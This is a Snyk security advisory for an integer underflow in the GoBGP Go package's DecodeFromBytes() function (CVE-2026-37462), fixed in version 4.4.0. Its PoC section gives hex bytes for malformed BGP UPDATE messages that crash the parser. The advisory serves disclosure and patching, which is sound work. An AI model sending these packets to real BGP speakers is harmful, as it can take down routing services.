Integer Underflow (Wrap or Wraparound) Affecting github.com/osrg/gobgp/pkg/packet/bgp package, versions <4.4.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.28% (20th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMOSRGGOBGPPKGPACKETBGP-17151882
  • published4 Jun 2026
  • disclosed3 Jun 2026
  • creditYanlei Wang

Introduced: 3 Jun 2026

CVE-2026-37462  (opens in a new tab)
CWE-191  (opens in a new tab)

How to fix?

Upgrade github.com/osrg/gobgp/pkg/packet/bgp to version 4.4.0 or higher.

Overview

Affected versions of this package are vulnerable to Integer Underflow (Wrap or Wraparound) in the DecodeFromBytes() function. An attacker can trigger a nil pointer dereference and panic by supplying a malicious BGP UPDATE message with a declared section length shorter than the actual data length.

PoC

FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17                # Length: 23
02                   # Type: UPDATE
00 00                # Withdrawn Routes Length: 0
00 04                # Total Path Attribute Length: 4     
40 EE 00             # Flag: 0x40 (Well-known, Transitive), Type: 0xEE (Unknown), Len: 0
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17                # Length: 23
02                   # Type: UPDATE
00 00                # Withdrawn Routes Length: 0
00 04                # Total Path Attribute Length: 4     
40 01 01 00          # IGP Attribute
40 FF 00             # Flag: 0x40 (Well-known, Transitive), Type: 0xFF (Unknown), Len: 0

CVSS Base Scores

version 4.0
version 3.1